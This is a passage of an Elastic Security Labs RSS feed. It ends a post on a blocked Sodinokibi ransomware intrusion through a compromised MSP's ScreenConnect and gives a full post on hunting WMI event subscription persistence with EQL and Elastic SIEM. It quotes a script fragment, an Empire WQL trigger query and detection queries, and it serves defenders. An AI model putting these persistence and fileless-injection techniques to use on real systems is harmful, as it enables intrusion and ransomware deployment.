    Invoke - LJJJIWVSRIMKPOD;
    Start - Sleep  - s 1000000;
}
</code></pre>
<p><em>PowerShell script that downloaded content1 from pastebin.com</em></p>
<p>This behavior is often categorized as a fileless or in-memory attack due to zero or minimal disk activity that occurs on the endpoint. When the Elastic Endpoint Security agent detects a fileless attack, it automatically collects and extracts the staged injected code and strings. This feature ensured that we had full visibility into the behavior being prevented.</p>
<p>Searching <a href="https://www.virustotal.com/">VirusTotal</a> for some of the collected strings surfaced several specimens from the Sodinokibi ransomware family.</p>
<p>The following specific toolmarks and behaviors indicate that this activity is consistent with the execution of the Sodinokibi or Gandcrab ransomware specimens as reported by <a href="https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-spreads-wide-via-hacked-msps-sites-and-spam/">BleepingComputer</a> and <a href="https://www.cynet.com/blog/ransomware-never-dies-analysis-of-new-sodinokibi-ransomware-variant/">Cynet</a>:</p>
<ul>
<li>The malicious actor utilized ScreenConnect remote desktop support software to connect from a compromised MSP to the target enterprise.</li>
<li>ScreenConnect was used to copy a batch script to the endpoints, which contained a PowerShell script to download and inject malicious code from Pastebin.</li>
<li>The PowerShell script contained cmdlets and strings (e.g., Invoke-LJJJIWVSRIMKPOD and Start-Sleep) that have been observed in other Sodinokibi ransomware campaigns.</li>
<li>The strings that were collected from the injected threads are consistent with Sodinokibi ransomware samples that were submitted to VirusTotal within the last 24 hours.</li>
</ul>
<p>After the adversary’s attempt to self-inject shellcode and execute ransomware was prevented, their attack on the initial endpoint stopped. After a period of 15 minutes, the adversary returned and attempted to execute the same procedures on an additional five endpoints before giving up. All of their attempts to deploy ransomware were prevented.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In this post, we discussed a real-world case of a malicious actor abusing trusted relationships between an MSP and its customers and attempting to deploy ransomware. This highlights the importance of understanding the relationships that your organization has with third parties and the potential impact if those connections are abused.</p>
<p>Analyzing the alerts revealed that the adversary connected to the customer’s environment via remote desktop support software and executed a malicious script with the intention of downloading, injecting, and executing ransomware. All of the adversary’s attempts were prevented.</p>
<p>This case also demonstrates the importance of having a layered approach to security and being able to detect and prevent adversary behavior and fileless attacks. We dissected the attackers procedures and showed how EQL and Reflex can be used to create custom rules and responses.</p>
<p>Looking only for malicious files is not enough; Elastic Endpoint Security provides several layers of behavior-based protections against ransomware, fileless attacks, phishing, exploits, and adversary behavior.</p>
<p><a href="https://github.com/elastic/elasticsearch/issues/49581">EQL support is being added to Elasticsearch</a>.</p>
<p><em>1 — The content has since been removed from Pastebin by its creator or the Pastebin staff</em></p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/ransomware-interrupted-sodinokibi-and-the-supply-chain</link>
    <guid isPermaLink="false">ransomware-interrupted-sodinokibi-and-the-supply-chain</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[David French]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta702c24f1ba26b6d/6a7c928196b5a60f418758ba/ransomware-prevention-blog-thumbnail.jpg" length="0" type="image/jpeg"/>
    <pubDate>Thu, 02 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1)]]></title>
    <description><![CDATA[Learn how Elastic Endpoint Security and Elastic SIEM can be used to hunt for and detect malicious persistence techniques at scale.]]></description>
    <content:encoded><![CDATA[<p>Last month, we hosted a webinar, <a href="https://www.elastic.co/webinars/hunting-for-persistence-using-elastic-security">Hunting for persistence using Elastic Security</a>, where we examined some techniques that attackers use in the wild to maintain presence in their victim’s environment. For each technique covered, we explained:</p>
<ul>
<li>How the offensive technique works</li>
<li>Why the technique is often successful for attackers</li>
<li>How defenders can hunt for and detect the malicious behavior effectively using <a href="https://www.elastic.co/security">Elastic Security</a></li>
</ul>
<p>In this two-part blog series, we’ll share the details of what was covered during our webinar with the goal of helping security practitioners improve their visibility of these offensive persistence techniques and help to undermine the efficacy of these attacks against their organization.</p>
<p>Part 1 will explain what persistence is and why attackers need it. We’ll introduce the Event Query Language (EQL) before showing its practical use cases for threat hunting. We will examine a popular technique used by adversaries to maintain persistence, Windows Management Instrumentation (WMI) Event Subscription (<a href="https://attack.mitre.org/techniques/T1084/">T1084</a>). We’ll also share how Elastic Security users can hunt for and detect this technique being used in their environment.</p>
<p>In part 2, we’ll explore two additional persistence techniques that are being used by attackers in the wild: BITS Jobs (<a href="https://attack.mitre.org/techniques/T1197/">T1197</a>) and Scheduled Tasks (<a href="https://attack.mitre.org/techniques/T1053/">T1053</a>). This follow-up post will walk through real world examples of these techniques being used and how we can hunt for, detect, and prevent them using Elastic Security.</p>
<p>The Protections team at Elastic Security is responsible for researching, understanding, and developing detections and preventions for attacker behavior in order to stop attacks before damage or loss occur. For organizations that do not have a full-time security operations team, Elastic Security includes out-of-the-box protections against adversary tradecraft, malware, and attacks like ransomware and phishing.</p>
<h2 id="whatispersistenceandwhydoattackersneedit">What is persistence and why do attackers need it?</h2>
<p>When we consider the common components of an intrusion, such as those depicted in Figure 1, the attacker may have spent a considerable amount of effort carrying out reconnaissance, obtaining initial access to, and establishing a foothold in their target environment. Generally speaking, an adversary will often want to maintain a presence in order to survive disruptions to their access like system restarts or user password changes. An effective persistence mechanism will execute the attacker’s malicious code on a regular basis or when a specific condition is met such as a user logon or application launch event.</p>
<p>In many cases, gaining access to an organization’s network is harder than maintaining persistence. It is for this reason that attackers continue to use the persistence techniques covered in this post — with largely successful results. When the security industry refers to “dwell time,” that's the period of time that begins when an adversary gains access to a system and ends when you detect them. Persistence facilitates longer dwell times, during which the adversary can work to achieve their objectives.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb51fe34f74569c58/6a7d81ae5588ad25c4ee430a/adversary-tradecraft-101-part-1-image1.jpg" alt="Figure 1 - FireEye Mandiant’s Cyber Attack Lifecycle" title="Figure 1 - FireEye Mandiant’s Cyber Attack Lifecycle" /></p>
<p>There are currently <a href="https://attack.mitre.org/tactics/TA0003/">63 persistence techniques</a> documented in the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK®</a> knowledge base of adversary behavior. This number can seem daunting at first, but an adversary’s need for persistence can be their Achilles’ heel, providing defenders with valuable opportunities to detect and remove an attacker from their environment.</p>
<p>By learning these offensive tactics, techniques, and procedures (TTPs) and baselining the endpoints and network activity in your environment, you have an opportunity to detect attackers early on in an intrusion before any damage or loss occurs. Security operations teams work tirelessly to detect the techniques captured in the ATT&amp;CK matrix — hunting and writing alert logic to provide the greatest visibility and coverage of their enterprise. To help reduce the barrier to entry and enable those teams, we created EQL and released it to the community.</p>
<h2 id="whatiseventquerylanguageeql">What is Event Query Language (EQL)?</h2>
<p>The queries in this blog post, which can be used for threat hunting and detection, are written in EQL — a powerful and intuitive query language that makes it easy for practitioners to search for complex adversary behavior.</p>
<p>To learn more about EQL, you can read the <a href="https://www.elastic.co/blog/getting-started-eql">Getting started with EQL</a> blog post or review the <a href="https://eqllib.readthedocs.io/en/latest/analytics.html">EQL Analytics Library</a>, which contains 200+ free security analytics mapped to the techniques documented in the MITRE ATT&amp;CK matrix. EQL is a core component of Elastic Endpoint Security and <a href="https://github.com/elastic/elasticsearch/issues/49581">is being added to Elasticsearch</a> for use in Elastic SIEM.</p>
<p>Let’s now analyze the WMI Event Subscription technique used by attackers in the wild by demonstrating a variety of methods to hunt for and detect this technique. We decided to cover this technique given its popularity among attackers and the low detection rates by traditional security controls.</p>
<h2 id="persistenceviawindowsmanagementinstrumentationwmieventsubscriptionst1084">Persistence via Windows Management Instrumentation (WMI) Event Subscriptions (T1084)</h2>
<p><a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/about-wmi">WMI</a> is the Microsoft implementation of Web-Based Enterprise Management (WBEM), a collection of technologies used to manage information and systems in enterprise environments. WMI is a built-in feature of Windows endpoints that allows both administrators and attackers to interact and manage many different functions of the operating system. Components such as network interfaces, power settings, service status, and installed software or patches can all be queried and managed via WMI.</p>
<p>Attackers have been abusing WMI since as early as 2008 to accomplish different objectives such as moving laterally between endpoints, enumerating what processes are running on an endpoint, and to maintain persistence. An attacker can “live off the land” by abusing built-in features of the operating system, which often results in a lower risk of detection than if they introduced malware into a victim environment.</p>
<p>It's no secret that adversaries prefer WMI-based persistence because:</p>
<ul>
<li>Many organizations are incapable of monitoring or investigating WMI</li>
<li>Out-of-the-box WMI visibility is limited, and a third-party utility may be required to effectively convey how WMI is being used</li>
<li>WMI is an integral component of Windows, and the volume of weak signals from this data source can overwhelm analysts who aren't familiar with these attack types</li>
</ul>
<p>Like most offensive techniques, until organizations can reliably detect WMI abuse, the adversary is unlikely to change their behavior.</p>
<h3 id="understandingwmieventsubscriptionsandhowtheycanbeabused">Understanding WMI Event Subscriptions and how they can be abused</h3>
<p>Simply put, a WMI Event Subscription can trigger an action when a certain condition is met. A WMI Event Subscription consists of three components.</p>
<ul>
<li>EventFilter - specifies a condition that you test for, i.e. a user successfully authenticates, a particular time and day of the week occurs, etc.</li>
<li>EventConsumer - specifies an action to execute when the EventFilter condition is met, i.e. execute a Windows command or script, delete all Volume Shadow Copies, restart a service, etc.</li>
<li>FilterToConsumerBinding - this links an EventFilter to an EventConsumer instance</li>
</ul>
<p>Figure 2 below shows the output from Sysinternals Autoruns, a free tool from Microsoft that can be used to examine various persistence locations on Windows endpoints, also referred to as Autostart Execution Points (ASEPs). Autoruns reveals a persistent WMI Event Subscription, named checkforupdates. It is important to note that there are sometimes benign WMI Event Subscriptions configured, but there shouldn’t be many. Alerting on the creation of new WMI Event Subscriptions and hunting for new ones periodically can be a low cost, high reward exercise.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt95cdb22f911adeea/6a7d81b1bdcff07e52c40074/adversary-tradecraft-101-part-1-image2.jpg" alt="Figure 2 - Autoruns showing a WMI Event Subscription registered by Empire" title="Figure 2 - Autoruns showing a WMI Event Subscription registered by Empire" /></p>
<p>The full WMI Query Language (WQL) query from the Autoruns results is shown below. Autoruns conveniently enumerated the WMI __EventFilter class for us in the root\Subscription namespace where this malicious entry was created. Interpreting this WQL query, the EventFilter condition will be met when the system’s uptime is between 240 -325 seconds. The EventConsumer is an <a href="https://github.com/EmpireProject/Empire">Empire</a> PowerShell script and will execute when this EventFilter condition is met.</p>
<p>To summarize, a WMI Event Subscription has been configured to execute a malicious PowerShell script shortly after the endpoint boots up. This enables the attacker to maintain persistence in the victim’s environment and survive system restarts.</p>
<pre><code>SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime &gt;= 240 AND
TargetInstance.SystemUpTime &lt; 325
</code></pre>
<p><em>Figure 3 - WMI Query Language (WQL) query showing WMI EventFilter condition</em></p>
<h3 id="huntingforanddetectingmaliciouswmieventsubscriptions">Hunting for and detecting malicious WMI Event Subscriptions</h3>
<p>The EQL query in Figure 4 shows how we can search for a sequence of three WMI events, which were generated by the same unique process ID (PID). This query demonstrates one of the strengths of EQL by using the join function. This allows us to match sequences of events in any order. Searching for these three WMI events without binding them together by unique PID might not return meaningful results. This query matches when a WMI EventFilter, EventConsumer, and FilterToConsumer binding are created by the same process in succession, which typically occurs when malware is executed and creates a new WMI Event Subscription for persistence. This query can be used to monitor for and detect abuse of WMI.</p>
<pre><code>join by unique_pid
  [wmi where properties.Operation == "*IWbemServices::PutInstance*EventFilter*"]
  [wmi where properties.Operation == "*IWbemServices::PutInstance*EventConsumer*"]
  [wmi where properties.Operation == "*IWbemServices::PutInstance*FilterToConsumerBinding*"]
</code></pre>
<p><em>Figure 4 - EQL query to search for the creation of a WMI EventFilter, EventConsumer, and FilterToConsumerBinding in succession</em></p>
<p>The above EQL query can be saved as a custom rule in Elastic Endpoint Security so that analysts can be alerted every time a new WMI Event Subscription is created by a process (Figure 5).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb5dc7b445abf16a2/6a7d81b35588ad7308ee430e/adversary-tradecraft-101-part-1-image3.png" alt="Figure 5 - Alert created by custom rule in Elastic Endpoint Security" title="Figure 5 - Alert created by custom rule in Elastic Endpoint Security" /></p>
<p>Resolver is the primary interface for interacting with alerts in Elastic Endpoint Security and enables users to visualize process ancestry along with relevant events such as DNS, file, network, WMI, and PowerShell, to name a few. It also provides one-click response actions to resolve the alert.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc14c6e769cc11017/6a7d81b6fc63abad4b649fcc/adversary-tradecraft-101-part-1-image4.jpg" alt="Figure 6 - Resolver showing process ancestry and events created by powershell.exe" title="Figure 6 - Resolver showing process ancestry and events created by powershell.exe" /></p>
<p>Clicking the WMI event type next to powershell.exe in Resolver enables users to review the WMI events that were generated by the process. Figure 7 shows the WMI event that was logged when powershell.exe was used to create the new WMI FilterToConsumerBinding, checkforupdates.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf05d7578d0a110ca/6a7d81b877b0347c6f3fc668/adversary-tradecraft-101-part-1-image5.jpg" alt="Figure 7 - WMI event created by powershell.exe" title="Figure 7 - WMI event created by powershell.exe" /></p>
<p>Elastic Endpoint Security also includes template-based hunts that lower the barriers to entry for less experienced analysts and allows for the easy collection and analysis of data across an organization’s endpoints. There are currently 25 categories of persistence data that can be collected and analyzed using template-based hunts.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt86a4d0cd61c9cd4f/6a7d81bb3cab1c96980e1a10/adversary-tradecraft-101-part-1-image6.jpg" alt="Figure 8 - Hunting for persistence using Elastic Endpoint’s template-based hunts" title="Figure 8 - Hunting for persistence using Elastic Endpoint’s template-based hunts" /></p>
<p>Once a hunt has been executed, there are several ways to sort or aggregate the data — such as by frequency or file path. This helps analysts to quickly baseline their endpoints and identify anomalies to investigate further.</p>
<p>Figure 9 depicts the filtered results of a persistence hunt wherein the same malicious WMI Event Subscription was configured. Elastic Security enumerates persistence locations across your endpoints and enables users to apply filters to identify anomalies or suspicious artifacts for further analysis. Hunt teams will often assume that traditional passive and reactive security controls are fallible, and will proactively hunt for malicious persistence mechanisms in search for attackers operating in their environment.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt68aaf9934a8f272b/6a7d81be448e4e97b45bdb42/adversary-tradecraft-101-part-1-image7.png" alt="Figure 9 - Results of an Elastic Endpoint hunt showing malicious WMI persistence" title="Figure 9 - Results of an Elastic Endpoint hunt showing malicious WMI persistence" /></p>
<p>Elastic Security comes with out-of-the-box detections for WMI abuse. Figure 10 shows the signal that was generated by Elastic Endpoint and shipped to Elastic SIEM when a malicious WMI Event Subscription was created.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4696d82c61381da6/6a7d81c1227b1c504f595812/adversary-tradecraft-101-part-1-image8.png" alt="Figure 10 - Elastic Endpoint signal shown in Elastic SIEM" title="Figure 10 - Elastic Endpoint signal shown in Elastic SIEM" /></p>
<p>Users have the option to view a signal in the Timeline within Elastic SIEM. Timeline enables analysts to search for similar activity across their data, gather and document evidence, and forward potential incidents to ticketing and SOAR platforms with ease. Part 2 of this series will show the workflow and features of Timeline.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8686c856d101846d/6a7d81c4b437709aa04d3f87/adversary-tradecraft-101-part-1-image9.jpg" alt="Figure 11 - Option to view signal in Timeline in Elastic SIEM" title="Figure 11 - Option to view signal in Timeline in Elastic SIEM" /></p>
<p>As of version 7.6 of the Elastic Stack, the SIEM app comes with a detection engine, which enables security teams to create their own custom rules. For example, Windows 10 logs Event ID 5861 when a new WMI EventFilterToConsumer binding is created. Figure 12 shows how a custom rule can be created in Elastic SIEM to search the winlogbeat-* index pattern for winlog.record_id: 5861. We can configure a description, severity, and risk score for the new rule, as well as map the rule to the relevant techniques in the MITRE ATT&amp;CK matrix. This information will help an analyst triage and determine the steps to take when the rule condition occurs.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbe769b8ee9a885db/6a7d81c773d9bd121829ac1b/adversary-tradecraft-101-part-1-image10.png" alt="Figure 12 - Example of a new rule being created in Elastic SIEM" title="Figure 12 - Example of a new rule being created in Elastic SIEM" /></p>
<p>Elastic SIEM is part of the Basic subscription and currently includes 92 detections that utilize Windows, Linux, network, and APM logging. We will continue to add new rules in new releases of the Elastic Stack.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt797a7d37bb7efd81/6a7d81ca73d9bd3ed829ac1f/adversary-tradecraft-101-part-1-image11.png" alt="Figure 13 - Detection rules view in Elastic SIEM" title="Figure 13 - Detection rules view in Elastic SIEM" /></p>
<p>In this section, we learned how WMI Event Subscriptions can be abused for persistence and how we can hunt for and detect this technique using the combination of Elastic Endpoint and SIEM. It’s important to note that we have only scratched the surface of how WMI works and the many ways that it can be used by attackers.</p>
<p>WMI can be used during every phase of an attack, such as moving laterally between endpoints, conducting local and enterprise reconnaissance, and stealing data. Elastic Security has released detections for many techniques that leverage WMI.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In this blog post, we examined a popular technique that attackers use to maintain a presence in their target environments. The number of techniques in an attacker’s arsenal can seem daunting at first, but we demonstrated a formulaic approach to examining, hunting for, and detecting techniques effectively. By building comprehension around adversary tradecraft, you can identify interesting patterns, behaviors, and artifacts that you can use to your advantage.</p>
<p>Elastic Security makes hunting for persistence easy. The features of Elastic Endpoint Security and SIEM (along with the protections provided out of the box) lower the barriers to entry for analysts, provide detailed visibility into endpoint activity, and enable organizations to prevent, detect, and respond to malicious behavior at scale.</p>
<p>To learn more about threat hunting, download a free copy of <a href="https://ela.st/threat-hunting">The Elastic Guide to Threat Hunting</a>.</p>
<p>Plus, <a href="https://github.com/elastic/elasticsearch/issues/49581">EQL support is being added to Elasticsearch</a>!</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/hunting-for-persistence-using-elastic-security-part-1</link>
    <guid isPermaLink="false">hunting-for-persistence-using-elastic-security-part-1</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[David French,Brent Murphy,Elastic Security Intelligence & Analytics Team]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte7cd714a064d35a8/6a7d81cde88c65835000898c/blog-thumb-security-breach-red-lock.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 01 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  </channel>
</rss>